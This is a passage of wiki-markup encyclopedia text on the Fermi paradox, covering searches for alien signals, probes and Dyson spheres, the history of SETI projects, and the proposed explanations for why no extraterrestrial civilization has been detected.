Additionally, we might look for evidence of &quot;unbeinged&quot; exploration in the form of probes and information gathering devices. Some theoretical exploration techniques such as the [[Von Neumann probe]] could exhaustively explore a [[galaxy]] the size of the [[Milky Way]] in as little as half a million years, with relatively little investment in materials and energy compared to the results. If even a ''single'' civilization in our galaxy attempt this, such probes would spread throughout the ''entire'' galaxy. We might eventually find evidence of such probes in our solar system &amp;mdash; perhaps in the [[asteroid]]s where raw materials would be plentiful and easily accessed.

Another possibility for contact with an alien probe &amp;mdash; one that would be trying to find ''us'' &amp;mdash; is an alien [[Bracewell probe]] [http://www.daviddarling.info/encyclopedia/B/Bracewellprobes.html]. Such a device would be an autonomous space probe whose purpose is to seek out and communicate with alien civilizations (as opposed to Von Neumann probes, which are usually described as purely exploratory). These were proposed as an alternative to carrying a slow speed-of-light dialog between vastly distant neighbors. Rather than contending with the long delays a radio dialog would suffer, a probe housing an [[artificial intelligence]] would seek out an alien civilization to carry on a close range dialog with the discovered civilization. The findings of such a probe would still have to be transmitted to the home civilization at light speed, but an information-gathering dialog could be conducted in real time. There have been attempts to scan for such probes lying dormant within our solar system by scientists [[Robert Freitas]] and Francisco Valdes [http://www.daviddarling.info/encyclopedia/S/SETV.html].

===== Advanced stellar scale artifacts =====

Dr. [[Freeman Dyson]] observed that every developing human civilization constantly ''increases'' its energy consumption. Theoretically, a civilization of sufficient age would need '''all''' the energy produced by its sun. The [[Dyson Sphere]] was the [[thought experiment]] solution that he derived. A Dyson sphere is a shell or cloud of objects (there are several variants of the Dyson sphere) enclosing a star to harness as much of the radiant energy of that star as possible. Were such a feat of [[astroengineering]] accomplished by an advanced civilization, it would consume energy from the star and reradiate a portion into space as waste energy. A star surrounded by such an object (or objects) would thus emit a distinctive altered spectrum; it would be at least partly a [[blackbody|black body]] [[spectroscopy|spectrum]] without the strong [[emission line]]s of a natural [[stellar atmosphere]]. Dyson himself speculated that advanced alien civilizations might be detected by examining the spectra of stars, searching for such an altered spectrum. 

However, it may be that such constructs are more difficult to detect than originally thought. Dyson spheres may have different emission spectra depending on the desired internal environment. For example, life based on high-temperature reactions may require high internal temperatures for their Dyson sphere that would result in &quot;waste radiation&quot; in the visible spectrum, not the infrared. Additionally, variants on the Dyson sphere have been proposed that might be almost undetectable: the multiple concentric spheres of a [[Matrioshka Brain]] &amp;mdash; each one radiating less energy per area than the next smallest one, with the outermost sphere radiating at close to the background radiation &amp;mdash; would be difficult to observe from any great distance.

It is also possible that civilizations may find alternate solutions to their energy demands, using technology that is beyond our current theoretical understanding, or engineering capability to realize. Such a civilization would not need to construct a Dyson sphere.

Other stellar-scale artifacts, that might be created by civilizations high on the [[Kardashev scale]] (see [[Ringworld]]s, [[Alderson disk]]s, [[Shkadov thruster]]s, and [[Stellar engine]]s) might also be directly observable at interstellar distances.

=== How we have been looking ===

==== Radio and signal emissions: SETI ====

''Main article:'' [[SETI]].

===== Assumptions behind SETI searches =====

Given the sheer size of the radio search needed to look for signals from extraterrestrial civilizations &amp;mdash; searching an entire ''galaxy'' is a big job &amp;mdash; and the limited amount of resources committed to [[SETI]], most SETI programs have tried to narrow their search by making some assumptions about alien life.
* SETI assumes that most alien life will occur around planets that orbit [[main sequence]] stars &amp;mdash; and concentrates on [[Yellow dwarf|Sun like stars]] in particular.
* SETI assumes that extraterrestrial intelligent life will most likely be based on [[carbon]], and will most likely be found on water bearing worlds.
* Many SETI searches assume that extraterrestrial civilizations will be broadcasting a ''deliberate'' signal (like our own [[Arecibo message]]), in order to be found. Project SENTINAL went so far as to assume that a signal might be beamed ''directly and deliberately'' at our own Sun.
* SETI assumes that such signals will be a [[sine wave]] based [[carrier wave]] with no complex [[modulation]], and using a narrow band transmission.

Essentially, SETI is only searching for simple deliberate signals, from carbon/water based life-forms, living on Earth-like planets, orbiting Sun-like stars. 

SETI programs are doing what they can given the resources allocated for such a large problem, but these assumptions might very well be incorrect. It may be that there are civilizations in space that do not match SETI's profile, and which we will not detect until the form of our search changes.

===== A brief history of SETI searches =====
Radio and observational data have for several decades been collected and analyzed by such projects as [[Project Ozma]], the [[SETI|Search for Extraterrestrial Intelligence]] (SETI), and the various projects searching for [[extrasolar planet|extrasolar planets]]. So far the SETI data show no known main sequence stars with unusually bright radio emissions. 
====== OZMA ====== 
In [[1960]], [[Cornell University]] astronomer [[Frank Drake]] (creator of the [[Drake equation]]) performed the first modern SETI experiment, named &quot;[[Project Ozma]]&quot;, after the [[Princess Ozma|Queen of Oz]] in [[L. Frank Baum]]'s fantasy books. Drake used a 25-meter-diameter radio telescope at [[Green Bank, West Virginia]], to examine the stars [[Tau Ceti]] and [[Epsilon Eridani]] near the 1.420 gigahertz marker frequency. A 400 kilohertz band was scanned around the marker frequency, using a single-channel receiver with a bandwidth of 100 hertz. The information was stored on tape for off-line analysis. Nothing of great interest was found.
====== SERENDIP ======
Project [[SETI#SERENDIP, Sentinel, META, and BETA|SERENDIP]] is an ongoing SETI program, which takes advantage of ongoing &quot;mainstream&quot; radio telescope observations as a &quot;piggyback&quot; program. Rather than having its own observation program, SERENDIP analyzes deep space radio telescope data that it obtains from other astronomers and examines it for extraterrestrial signals. The program has gone through several upgrades in techniques and equipment and is now in its 4th incarnation as SERENDIP IV, where data from the [[Arecibo Observatory]] is analyzed through the [[SETI@home]] program.

====== Project Sentinel, META and BETA ======
Running 1983 to 1985, [[SETI#SERENDIP, Sentinel, META, and BETA|Project Sentinel]] was the first SETI high-resolution  &quot;all sky&quot; scan. Over a period of 200 days, Sentinel scanned the northern hemisphere of the sky examining a region of the [[electromagnetic spectrum]] within 2 [[Hertz|kHz]] of the 21 cm neutral hydrogen band. It had several technical limitations: narrow scanning bandwidth, slow response time to re-examine &quot;candidate signals&quot;, and it was only capable of detecting signals ''deliberately'' targeted at our Sun. Sentinel was superseded by the [[SETI#SERENDIP, Sentinel, META, and BETA|META and BETA]] programs in 1985 and 1995, respectively.

====== MOP and Project Phoenix ======
In 1992, the U.S. government  funded an operational SETI program in the form of the NASA [[SETI#MOP and Project Phoenix|&quot;Microwave Observing Program (MOP)&quot;]]. This program was intended to be two-fold: a &quot;Targeted Search&quot; of 800 specific nearby stars, and a less-rigorous &quot;Sky Survey&quot; to scan the sky. The program was ridiculed in [[Congress of the United States|Congress]], and was canceled after a year. 

An independently funded program called [[Project Phoenix (SETI)|Project Phoenix]] was begun to pick up the work started by MOP. Project Phoenix undertook only the targeted search, looking at 800 stars within 200 light years. The search was performed using the Arecibo Observatory and has been called the most sensitive SETI search to date. It analyzed radio frequency bands narrow as 1 Hz in the range between 1,000 and 3,000 MHz. On completion of the search, project leader Peter Backus remarked &quot;[W]e live in a quiet neighborhood&quot;.

======  [[SETI#Allen Telescope Array|ATA]] and the ongoing search ====== 

SETIs search programs are ongoing, and expanding. As well as the &quot;piggyback program&quot; of SERENDIP IV, SETI is planning to use the [[Allen Telescope Array]] &amp;mdash; currently under construction &amp;mdash; for its most comprehensive deep space survey yet: a survey of 1,000,000 stars within 1,000 light years of Earth, for medium-strength signals, plus a survey of the 4×10&lt;sup&gt;10&lt;/sup&gt; stars of the inner Galactic Plane from 1.42 to 1.72 GHz for very powerful transmitters. Observations began in late 2005, even though the telescope is still undergoing construction and expansion. The ATA holds the current best hope for future artificial extraterrestrial radio source detection.

==== Direct planetary observation: the exoplanet hunters ====
Detection and classification of [[exoplanets]] did not come about as part of the search for extraterrestrial life. Rather it has come out of  mainstream astronomy as astronomical instruments and methods of data analysis have improved to the point where it is now possible to isolate the effects of planetary bodies, and to infer their existence. Exoplanet detection and cataloging is a very new sub-discipline of astronomy, with the first published paper claiming to have discovered an exoplanet released in 1989.

Exoplanets have not yet been ''directly'' observed, only their effects have been noted. At present we can only estimate the size and orbit of exoplanets, and, combined with the [[stellar classification]] of their sun, we can estimate the planets' probable range of environments.

From the perspective of the search for extraterrestrial life, the means of detecting exoplanets is not likely to be useful yet; the types and sizes of planets being detected are not those which have high probability of being able to support Earth-like life. As of 2005 only a handful of possible [[Terrestrial planet|terrestrial type planets]] have been detected. So far, only two such planets have been located in orbit of a [[main sequence]] stars: [[Gliese 876#Gliese 876 d|Gliese 876 d]] and [[OGLE-2005-BLG-390Lb]]. Neither seem likely to be able to support life as we know it. It is hoped that refinement of instruments and techniques of data analysis will push the envelope of exoplanet detection to make more information available, and to increase the probability of finding more Earth-like worlds.

==== Alien constructs: Alien artifacts and the Dyson sphere survey ====

We have only been exploring our own solar system for a handful of decades, and we have only explored a minuscule percentage of it. While we have not uncovered any evidence that our solar system has ever been visited by alien colonists, or probes, we cannot yet rule out the existence of such evidence. Detailed exploration of areas of the solar system where resources would be plentiful and easily accessed &amp;mdash; such as the [[asteroid]]s, the [[Kuiper belt]], the [[Oort cloud]] and the various planetary ring systems &amp;mdash; may yet uncover evidence of alien exploration. Unfortunately, these regions where evidence of self-replicating alien probes is more likely to be found are also massive. Finding such evidence, if it exists, may be very difficult.

There have been preliminary efforts to do just this, however. The '''SETA''' ([[Search for Extraterrestrial Artifacts]]) and '''SETV''' ([[Search for Extraterrestrial Visitation]]) projects[http://www.setv.org/] have attempted to locate such evidence within our own solar system &amp;mdash; although it must be admitted that many of the projects that fall under this umbrella are considered &quot;fringe&quot; science by many astronomers. There have also been attempts to signal, attract, or activate [[Bracewell probe]]s in our local vicinity.

It may be that should we ''find'' alien artifacts, even here on Earth, we may not ''recognize'' them as such. The products of an alien mind and an advanced alien technology might not be perceptible to us, or recognizable as artificial constructs. Exploratory devices in the form of bio engineered life forms created through [[synthetic biology]] would presumably disintegrate after their &quot;demise&quot; leaving us no evidence; an alien information gathering system based on [[molecular nanotechnology]] could theoretically be swarming all around us at this very moment, completely undetected by us; and [[Clarke's three laws|Clarke's third law]] tells us that an alien civilization well in advance of our own might have means of investigation that we cannot even conceive of yet.

On the other end of the spectrum, there have been some preliminary attempts to find evidence of the existence of [[Dyson sphere]]s or other large Type-II or Type-III [[Kardashev scale]] artifacts that would alter the spectra of their core stars. [[Fermilab]] has an ongoing [http://home.fnal.gov/~carrigan/Infrared_Astronomy/Fermilab_search.htm program to find Dyson spheres], but such searches are as of yet preliminary and incomplete.

=== What we have found ===

So far, no unambiguous evidence of extraterrestrial civilizations, or even extraterrestrial life, has been found.

The various [[radio telescope]] [[SETI]] search programs have not discovered any unambiguous extraterrestrial signals, although there have been several candidate signals. On August 15, 1977 the &quot;[[Wow! signal]]&quot; was picked up by [[The Big Ear]] radio telescope. However it lasted for only 72 seconds, and has not been repeated. In 2003, [[Radio source SHGb02 plus 14a|Radio source SHGb02+14a]] was isolated by [[SETI@home]] analysis, although it has largely been discounted by further study. In neither case can the candidate signal be said to be unambiguously from an extraterrestrial intelligence.
 
So far, all [[extrasolar planet]]s that have been detected appear to be harsh environments for advanced (Earth-like) life-forms. However, this should not be taken as an argument against the existence of hospitable planets, and thus against the existence of complex extraterrestrial life. It must be remembered that current means of detecting [[exoplanets]] work best with very ''massive'' planets on the order of [[Jupiter]] or larger. Only a few [[terrestrial planet]]s have yet been detected. As our methods of planet-detection improve over time, many more terrestrial planets will probably be discovered.

None of the various [[Search for Extraterrestrial Artifacts|'''SETA''']] and [[Search for Extraterrestrial Visitation|'''SETV''']] projects have located any artifacts.

The optical surveys for [[Dyson sphere]]s did not locate anything; neither has the [[Fermilab]] search, although the latter is ongoing.

So far, our searches for evidence of technologically advanced extraterrestrial civilization have not resulted in incontestable positive evidence.

== Trying to resolve the paradox theoretically: Explaining the silence ==

Despite the belief by many that the existence of an alien technological civilization is not impossible, there has as yet been no unambiguous evidence of intelligent extraterrestrial life. While many believe this is a vindication of the idea that we are alone in our galaxy (if not the universe) many theoreticians have proposed alternate explanations as to ''why'' the skies appear to be silent.

=== They do not exist... ===

The simplest explanation is that we ''are'' alone in the galaxy. Several theories along these lines have been proposed, explaining why intelligent life might be either very rare, or very short lived.

==== ...and they never did. ====

Those who believe that extraterrestrial intelligent life does not exist in our galaxy argue that the conditions needed for [[life]] &amp;mdash; or at least complex life &amp;mdash; to evolve are rare or even unique to Earth (see the [[#Con: The 'Rare Earth' hypothesis|Rare Earth hypothesis]] above). While some have pointed out that complex life may evolve through other mechanisms than those found specifically here on Earth, the fact that in the extremely long history of life on the Earth only one species has developed a civilization to the point of being capable of space flight and radio technology seems to lead more credence to the idea of technologically advanced civilization being a rare commodity in the universe.

While the lack of evidence for extraterrestrial intelligence is not conclusive proof of their non-existence, those that believe that we are alone have yet to be disproven.

==== ...because an inhospitable universe destroys complex intelligent life. ====

Another possibility is that life can and does arise elsewhere, but events such as [[ice age]]s, [[impact event]]s, or other catastrophic planetary events prevent complex life forms from evolving. Even if conditions for the development of life are not unique to Earth, it may be that on most worlds such events routinely and periodically destroy such life. Even if a &quot;benign local environment&quot; might exist on some world long enough for intelligent life to finally arise despite the odds, such life might also be exterminated by cosmological events (such as [[supernova]]e, or [[gamma ray burster|gamma ray bursts]]) suddenly sterilizing previously hospitable regions of space. [http://www.pbs.org/wgbh/nova/gamma/]

==== ...because it is the nature of intelligent life to destroy itself. ====

Technological civilizations may usually or invariably destroy '''themselves''' (via [[nuclear war]], [[biological warfare]], [[grey goo|nanotechnological catastrophe]], or in a [[Malthusian catastrophe]] after destroying their planet's [[ecosphere]]) before or shortly after developing radio or space flight technology. This general theme is explored in ''[[The Mote in God's Eye]]'' by [[Larry Niven]] and [[Jerry Pournelle]], which has as its central premise a civilization that overtaxes its resource base and cyclically self-destructs, but which tries to preserve its culture from one cycle to the next.

It would be anthropocentric to suggest that humanity is immune from such a fate. Therefore it is possible that we ourselves will not exist long enough to encounter alien life. Indeed, there are probabilistic arguments which suggest that our end may occur sooner rather than later. See [[Doomsday argument]].

Such argument might be extended to intelligent life elsewhere. Intelligent life on Earth evolved as a result of the competition for scarce resources. The evolutionary psychology that developed during this struggle has left its mark on our characters, and left human beings subject to involuntary, instinctual drives to consume resources and to breed. It can be argued that this is the very aspect of our nature that lead us to develop a technological society &amp;mdash; that our technology is a result of our quest to access more resources (and utilize them effectively) in order that we can continue to breed. If this is true, then it seems likely that either intelligent life on other planets has evolved subject to similar constraints &amp;mdash; and they have developed a technology &amp;mdash; or they are not subject to such constraints and do not have the drive to develop a ''technological'' civilization. In the former case their long term viability &amp;mdash; and ours &amp;mdash; may be in doubt. In the latter case, they may be difficult or impossible to detect. Either way, it seems possible that the evolutionary character of life would make contact between intelligence less likely than originally thought.

==== ...because it is the nature of intelligent life to destroy others. ====

[[Science fiction]] authors have proposed another possible explanation — that someone, or something, is destroying intelligent life in the universe as fast as it is created. This theme can be found in novels such as [[Frederik Pohl]]'s [[Heechee]] novels, Fred Saberhagen's ''[[Berserker]]'' novels, [[Alastair Reynolds]]'s Revelation Space novels, [[Greg Bear]]'s novel ''[[The Forge of God]]'', [[Ian Douglas]]'s series ''[[The Heritage Trilogy]]'', [[K.A. Applegate]]'s novel The Ellimist Chronicles and [[Jack McDevitt]]'s novel ''[[The Engines of God]]''. This explanation is also featured in [[Marvel Comics]] with the being [[Galactus]].

If several intelligent species arise in a galaxy it is possible that some may view other civilizations as a threat, or as competition. It is possible that they may pursue a policy of violent extermination of other civilizations. Nor is this an unrealistic goal. The concept of self replicating spacecraft need not be limited to exploration or communication, but can be applied to aggression (see [[Von Neumann probe|Berserker probe]]). Even if such a civilization were to fall, or go extinct, such machines could outlive their creators, destroying civilizations far into the future.

Fortunately, there are good arguments for such an approach ''not'' being used by any civilization in our galaxy for several billion years (see [[Von Neumann probe|Berserker probe]]). However, this does not rule out all ''other'' aggressive acts and methods by an aggressive civilization. It may be that intelligent life tends to suppress ''other'' intelligent life, and as such, becomes a rare commodity in a galaxy.
==== ...because God created humans alone. ====
Although not generally considered a [[falsifiability|testable scientific explanation]], this theory is one of the lines of thought contributing to the [[#Con: The 'Rare Earth' hypothesis|''Rare Earth Hypothesis'']]. Several schools of thought within the Judeo-Christian and Islamic religions maintain that that man is uniquely special in the universe, and thus could be viewed as the only ''physical'' creatures in the universe with intelligence (many religions do include non-physical created intelligences, for example angels, jinn and demons).

===They ''do'' exist, but...===

It may be that technological extraterrestrial civilizations may exist, but that we do not or '''can not''' communicate with them because of technical constraints, or because their nature is simply too ''alien'' for perception of them ''as'' intelligent life, or for meaningful communication. Perhaps our belief that we can communicate with an alien civilization is unrealistic anthropormorphization of alien life. 

==== ... we cannot communicate for the technical reason that ... ====
===== ... we are too far apart in space to communicate. =====
It may be that technologically capable alien civilizations exist, but are rare enough such that there is a high probablility that they are simply too far apart for meaningful two-way communication. If two civilizations are separated by several thousand light years, it is very possible that one, or the other, or both cultures may become extinct before meaningful dialog can be established. We may be able to ''detect'' their existence, but we may find it impossible to ''communicate'' with them. This problem might be ameliorated somewhat if contact/communication is made through a [[Bracewell probe]]. In this case at least ''one'' partner in the exchange is guaranteed to obtain meaningful information.

===== ... we are too far apart in time to communicate. =====
If we look at the length of time that intelligent life has existed on Earth &amp;mdash; or is likely to exist &amp;mdash; the &quot;window of opportunity&quot; for detection or contact might be quite small. Intelligent civilizations may arise, and fall, periodically thoughout our galaxy, but this may be such a rare event that the odds of two or more such civilizations existing ''at the same time'' may be low. There may have ''been'' intelligent civilizations in our galaxy before us, and there may ''be'' intelligent civilizations after our race is extinct, but it is possible that we are the only intelligent civilization in existence ''now''. (The term &quot;now&quot; is somewhat complicated by the finite speed of light and the nature of space-time under relativity: see [[Relativity of simultaneity]]. Assuming that an extraterrestrial intelligence is not able to travel to our vicinity at faster-than-light speeds, in order to detect an intelligence 1,000 lightyears distant, that intelligence will need to have been active 1,000 years ago.)

There is a very slight possibility that we may detect &quot;archeological evidence&quot; of past civilizations through deep space observations &amp;mdash; especially if they left behind large artifacts such as [[Dyson sphere]]s &amp;mdash; but this seems less likely than detecting the output of a  thriving civilization.

===== ... it is too expensive to spread physically throughout the galaxy. =====
Many assumptions on the ability of an alien culture to colonize other stars, let alone come near the solar system, are based on the idea that interstellar travel is technologically feasible. While our current understanding of physics rules out the possibility of [[faster than light]] travel, we believe that there are no '''major''' theoretical barriers to the construction of &quot;slow&quot; interstellar ships (see [[Project Daedalus]], [[Project Orion]], and [[Project Longshot]]). This idea underlies the concept of the [[Von Neumann probe]] and the [[Bracewell probe]] as evidence of extraterrestrial intelligence, or even as means of communication. It is also important to the idea of alien colonization attempts and the possible evidence that such attempts may furnish us with.

It is possible, however, that we lack sufficient theoretical knowledge to gauge the feasibility and/or costs of such ventures. Perhaps there are theoretical barriers to such efforts that we do not yet understand. Perhaps the cost of materials and energy for such ventures are ''so'' high as to make it unlikely that any civilization could afford to attempt it.

In such a case, it would be unlikely that any ''physical'' evidence of extraterrestrial life would ever be found.

If we conceive of a hypothetical scenerio where physical evidence is ruled out, and &amp;mdash; as in the above possible technical limits &amp;mdash; there are vast separating distances in time and space, communication with, or detection of, extraterrestrial civilization would be very unlikely, even if such civilizations exist.

===== ... we have not been searching long enough. =====
&lt;blockquote&gt;
''&quot;... begging your pardon sir, but it's a big-ass sky.&quot;'' &amp;mdash; [[Billy Bob Thornton]] as ''Truman'' in [[Armageddon (film)|Armageddon]]
&lt;/blockquote&gt;

Some commentators (such as [[United Kingdom|British]] [[science fiction]] [[author]] [[Stephen Baxter]]) have pointed out that humanity's ability to detect and comprehend intelligent extraterrestrial life has existed for only a very brief period &amp;mdash; by the early 21st century, perhaps only a century at best &amp;mdash; and that ''[[Homo sapiens]]'' itself is a recent species, given the apparent size and age of the universe.

According to this view, humanity has simply not been around sufficiently long to encounter alien life. For example, one million years ago &amp;mdash; a relatively brief period in cosmological terms &amp;mdash; there would have been no humans for alien emissaries to meet, as modern [[humans]] only appeared about 200,000 years ago. For each step back further in time, there would arguably have been increasingly fewer indications to such emissaries that intelligent life as we know it would develop on Earth. In a large and already ancient universe, a space-faring alien species may well have had many other more promising worlds to visit and revisit.

Even if alien emissaries visited in more recent times, they may have been misinterpreted by early human cultures as [[supernatural]] entities.

This hypothesis depends upon all visiting civilizations ultimately stagnating or dying out, rather than expanding. However, this cannot be ruled out, since the whole period of modern human existence to date (about [[human evolution|200,000 years]]) is a very brief period on a cosmological scale, a position which changes little even if our species survives for many more hundreds of thousand of years. Even if intelligent life undergoes a continuous cycle of birth, extinction and rebirth across the universe, civilizations may simply be too far apart in either time or space to actually meet.

==== ... most people have yet to see them, even though they are here on Earth, because... ====
There is a growing &quot;fringe&quot; belief (or at least it is considered &quot;fringe&quot; by the majority of the scientific community) that believes that intelligent alien life forms not only exist, but are already present here on earth, but we do not detect them either because they do not wish it, or we refuse to observe them.

===== ... they are cloaking themselves from us. =====
Some believe that it is not unreasonable that a life form intelligent enough to travel to our planet would also be sufficiently intelligent to exist here undetected. In this view, the aliens have arrived and are observing us, but are debating when or whether to establish contact. Such observation could be conducted in a number of ways that would be very difficult to detect, for example via [[molecular nanotechnology]] on Earth, or passive monitoring from elsewhere.

===== ... we refuse to see the evidence. =====
Many UFO researchers and watchers argue that society as a whole is unfairly biased against claims of [[alien abduction]], sightings, and encounters, and as a result may not be fully receptive to claims of proof that aliens are visiting our planet. Others use complex [[conspiracy_theory|conspiracy theories]] to allege that evidence of alien visits is being concealed from the public by political elites who seek to hide the true extent of contact between aliens and humans. Scenarios such as these have been depicted in [[popular culture]] for decades, with recent favorites being ''[[The X-files]]'' [[television]] series, and the eponymous ''[[Men_in_Black_(movie)|Men in Black]]'', named for the hypothetical [[Men_in_Black|government agents who suppress knowledge of alien contact]].

==== ... civilizations only broadcast detectable radio signals for a brief period of time... ====
===== ... because of evolving technology. =====
It may be that alien civilizations might ''not'' be detectable though their radio emissions after all. As seen earlier, use of radio technology is probably very difficult to detect even at the peak of its use &amp;mdash; unless it is used for deliberate high-energy messages or beacons. However, radio itself may be a technology that civilizations outgrow. The &quot;[[Optical fiber|fiber optic]] objection&quot; notes that the use of [[Broadcasting|broadcast]] technologies like [[radio]] for the [[transmission (communications)|transmission]] of information are fundamentally wasteful of energy: broadcasts are radiated in all directions evenly, and a large amount of power is needed for a transmitter to send messages any significant distance. Human technology is currently moving away from broadcast for long-distance communication and replacing it with wires, optical fibers, and focused [[electromagnetic]] technologies like aimed narrow-beam radio, [[microwave]], or [[laser]] transmission. Most recent technologies that employ broadcasting, such as [[mobile phone]]s and [[Wi-Fi]] networks, use very short-range transmitters to communicate with fixed stations that are themselves connected by wires or narrow beams. It is argued that this trend may make Earth itself even ''more'' difficult to detect (remember that the plausible &quot;range of detection&quot; of our current telecommunication broadcasts is only 0.3 light years) within a few decades. It seems plausible that many civilizations would only be detectable for a short period of time between the discovery of radio and the switch to more efficient technologies, even if we use extremely sensitive detectors.

===== ... because of depleted energy resources. =====
The problem of [[peak oil]] has raised another possibility for short-lived radio technology within a civilization. It has been pointed out that our civilization has been capable of interstellar radio communication for only a few decades. It has been argued that we are running out of fossil fuels, and it may only be a few more decades before energy becomes too expensive, and the necessary electronics and computers too difficult to manufacture, for us to continue the search. If the same conditions regarding energy supplies hold true for other civilizations, then it may be that a given civilization would only be able to transmit for a very short time. Therefore, unless two civilizations happen to be near each other and develop the ability to communicate at the same time &amp;mdash; which is statistically unlikely &amp;mdash; it would be virtually impossible for anyone to talk to anyone else.

Critics of this idea point out that an energy consuming civilization is not dependant solely on [[fossil fuel]]s. Alternate energy sources exist &amp;mdash; such as [[solar power]] which has the potential to generate more energy than current energy consumption. For depletion of fossil fuels to end the &quot;technological phase&quot; of a civilization some form of [[end of civilization|technological regression]] would have to consistently occur, preventing the exploitation of [[renewable energy]] sources.

==== ... they choose not to communicate, or are too alien. ====

It is possible that the belief that alien races would communicate with us is a [[fallacy]], and that alien civilizations may not ''wish'' to communicate, for reasons that we can only speculate about, even if they have the technical ability. Possible reasons that have been proposed include,
* They may not wish to communicate for [[ethics|ethical]] reasons, like the desire to encourage our independent development, or perhaps Earth is under [[quarantine]] for some reason, possibly because of mankind's [[war]]like tendencies. (see [[#... Earth is purposely isolated (The zoo hypothesis).|below]]).
* They may wish to avoid detection and possible destruction at the hands of other civilizations, or to avoid calling malicious attention to ''us'' (see: [[Berserker probe]] and [[#...because it is the nature of intelligent life to destroy others.|above section]]).
* Their psychologies may simply be ''too different'' to communicate with, and realizing this, they do not make the attempt, or the very concept of communication with other species is one which they cannot even conceive. (see: [http://www.terrybisson.com/meat.html They Are Made Of Meat])
*An intelligence could experience the universe in a manner that would make their perception of us (or communication with us) difficult, if not impossible. For example, if an alien life form had a metabolic rate far slower than our own (such as uttering one word every 12 hours or so, having a life span of millions of years), they might not consider us a life form, or even observe us at all for that matter. We would also have problems perceiving or communicating with them. See also [[#... they have experienced a technological singularity.|technological singularity]] below.

Whatever the reason, it is possible that our enthusiasm and desire to communicate with other species may not be shared by alien civilizations.

==== ... Earth is purposely isolated (The zoo hypothesis). ====
A particular reason that alien civilizations may ''choose'' not to communicate with us in the so-called [[Zoo hypothesis]]: the idea that Earth is being monitored by advanced civilizations for study, or is being preserved in isolation for ethical reasons. This idea is similar to the [[Prime Directive]] of the &quot;United Federation of Planets&quot; in the fictional ''[[Star Trek]]'' television series. This possibility has caused some to speculate that perhaps humanity needs to pass a certain ethical, technological or social boundary before we will be allowed to make contact with existing advanced alien civilizations.

This idea is at least possible if there is a single alien civilization within contact range, or there is a homogenous culture or law amongst alien civilizations which dictates that Earth be thus shielded from contact; this is the concept behind the &quot;Prime Directive&quot; that makes it plausible within its fictional universe. If there is a plurality of cultures, then this theory starts to break down under the [[uniformity of motive]] flaw: all it takes is single culture or civilization which decides to act contrary to such a law for it to break down, and the probability of such a violation increases with the number of civilizations which do not subscribe to this law.

==== ... they have experienced a technological singularity. ====
Another possibility is that technological civilizations invariably experience a [[technological singularity]]. This would possibly preclude communication for several reasons. Possibilities include,
* The beings of the civilization would have altered in such a drastic way as to make them alien enough that communication is no longer possible. I.e. no ''meaningful'' communication might be possible between a human and the alien equivalent of a [[transhuman]] intelligence any more than we can have meaningful communication with &amp;mdash; or attempt to talk to &amp;mdash; ants.
* Such beings may divest themselves of physical form, create massive artificial virtual environments (see [[Matrioshka Brain]]), transfer themselves into these environments through [[mind transfer]], and exist totally within virtual worlds, ignoring the external physical universe (this theme is explored by [[Greg Bear]] in his novel ''[[Blood Music]]'', and in [[Charles Stross]]'s [[Accelerando (novel)|''Accelerando'']] cycle. It is also mentioned briefly in [[Greg Bear]]'s ''[[Anvil of Stars]]'').
* The new ''form'' of the intelligence of a post-singularity civilization would simply require more information exchange than is possible with theoretical means of interstellar communication in order to have ''meaningful'' communication between intelligences. Because of this, they do not try.
Whatever the reasons, it seems unlikely that pre-singularity and post-singularity civilizations could have meaningful communication. If most civilizations experience a technological singularity soon after developing a technological civilization, then the &quot;window of time&quot; with which to communicate with a pre-singularity civilization would be brief, and the chances of us communicating with them within that time frame, low.

It may be that most older alien civilizations are post-singularity civilizations, with which we will not be able to communicate until and unless we experience our own singularity.

However, the possibility, probability, and the effects of a technological singularity have not even been resolved for ''human'' civilization yet. It is impossible to judge with any certainty the likelihood of ''alien'' civilizations experiencing a singularity.

==== ... but we do not understand them, even though they are communicating, because... ====

Another series of views, some of which tend to be disregarded by contemporary science, consider that alien entities have been communicating with humans throughout history, but for any number of reasons we are unable to scientifically detect these attempts; or that the accounts of communication that have been reported are generally dismissed by scientists for [[sociological]] reasons.

===== ... we are not listening properly. =====

As noted above, there are some assumptions that underly the [[SETI]] search programs. It may be that any number of these may be incorrect, and are causing us to miss signals that are present.

For example, the radio searches to date would completely miss highly compressed data streams (which would be almost indistinguishable from &quot;white noise&quot; to anyone who did not understand the compression algorithm). They might also use frequencies that we have decided are unlikely to carry signals, or use [[modulation]] strategies we have not thought to look for yet. They may even use the expected &quot;simple&quot; broadcast techniques, but are broadcasting from non-[[main sequence]] stars which are searched with lower priority. Even if only a few civilizations attempted to communicate in such an &quot;obtuse&quot; manner, it would reduce the odds of us locating an alien civilization. If there are only a few civilizations in our galaxy to begin with, our &quot;narrow mindedness&quot; may cause us to miss their existence completely.   

===== ... we misunderstand their attempts, or we dismiss the evidence. =====

Another proposed possibility is that alien intelligences are attempting to communicate using methods and technologies that are outside our experience or even our speculation. It is possible that such &quot;signals&quot; are reaching us, but we do not perceive them, or perceive them in a distorted manner.

As an example: Some have proposed that if the human brain utilizes [[quantum mechanics|quantum mechanical]] processes in its operation (as theorized by [[Roger Penrose]], [[Stuart Hameroff]], and others) then it may be open to receiving some form  of [[nonlocal]] &quot;[[psychic]]&quot; communication &amp;mdash; perhaps using quantum entanglement. Some have proposed that at least some accounts of [[mystics]], [[shaman]]s, [[schizophrenia|schizophrenics]], and [[channeling|channeler]]s may be such &quot;garbled&quot; communications, transmitted by non-human intelligences in this manner.

Although [[classical]] communication in the context of [[information theory]] is not possible using quantum nonlocal correlations, supporters of this view believe that it may explain the 'garbled', associative, and inspirational nature of the 'messages' recorded in the world's religious and anthropological history.

[[Terence McKenna]] has proposed that the [[psychoactive drug]] [[Dimethyltryptamine|Dimethyltryptamine (DMT)]] is an alien technology, &quot;seeded&quot; here on Earth by non-human intelligence, as part of a &quot;biological communication strategy&quot;, in order to alter the perceptive processes of the human mind so that it may receive messages being transmitted to us.

While this may seem to be &quot;fringe science&quot; to some, it is an example of a theoretical means of communication that would appear very ''alien'' to our way of thinking, and would most likely be (some say is being) misinterpreted by us. Apart from this example it is possible that there are ''other'' signalling systems that would be likewise outside our current assumptions about inter-species communication, and would most likely be missed if used as a means of attempted communication by an alien civilization.

==See also==
*[[SETI]]
*[[Arecibo Observatory]]
*[[Astrosociobiology]]
*[[Doomsday argument]]
*[[Drake equation]]
*[[Fermi problem]]
*[[Von Neumann probe]]
*[[Zoo hypothesis]]
*[[Planetary habitability]]


==External links==
*[http://www.sff.net/people/Geoffrey.Landis/percolation.htp The Fermi Paradox: An Approach Based on Percolation Theory] by Geoffrey A. Landis
